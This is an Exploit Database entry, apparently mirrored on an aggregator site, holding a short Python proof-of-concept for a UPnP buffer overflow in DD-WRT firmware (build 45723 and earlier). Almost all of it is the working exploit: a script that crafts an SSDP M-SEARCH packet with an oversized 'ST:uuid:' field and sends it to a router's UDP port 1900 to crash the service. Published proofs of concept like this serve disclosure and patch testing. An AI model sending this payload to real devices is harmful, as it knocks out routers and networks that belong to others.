DD-WRT 45723 – UPNP Buffer Overflow (PoC)

• Exploit Database
• 19 阅读

• 作者： Enesdex
  日期： 2021-03-31
• 类别：

  • dos
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/49730/

• # Exploit Title: DD-WRT 45723 - UPNP Buffer Overflow (PoC)
  # Date: 24.03.2021
  # Exploit Author: Selim Enes 'Enesdex' Karaduman
  # Vendor Homepage: https://dd-wrt.com/
  # Software Link: https://download1.dd-wrt.com/dd-wrtv2/downloads/betas/2021/
  # Version: 45723 or prior
  # Tested on: TP-Link Archer C7
  
  # https://ssd-disclosure.com/ssd-advisory-dd-wrt-upnp-buffer-overflow/
  
  import socket
  
  target_ip = "192.168.2.1" # IP Address of Target
  off = "D"*164
  ret_addr = "AAAA" 
  
  payload = off + ret_addr
  
  packet = \
  'M-SEARCH * HTTP/1.1\r\n' \
  'HOST:239.255.255.250:1900\r\n' \
  'ST:uuid:'+payload+'\r\n' \
  'MX:2\r\n' \
  'MAN:"ssdp:discover"\r\n' \
  '\r\n'
  
  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
  s.sendto(packet, (target_ip, 1900) )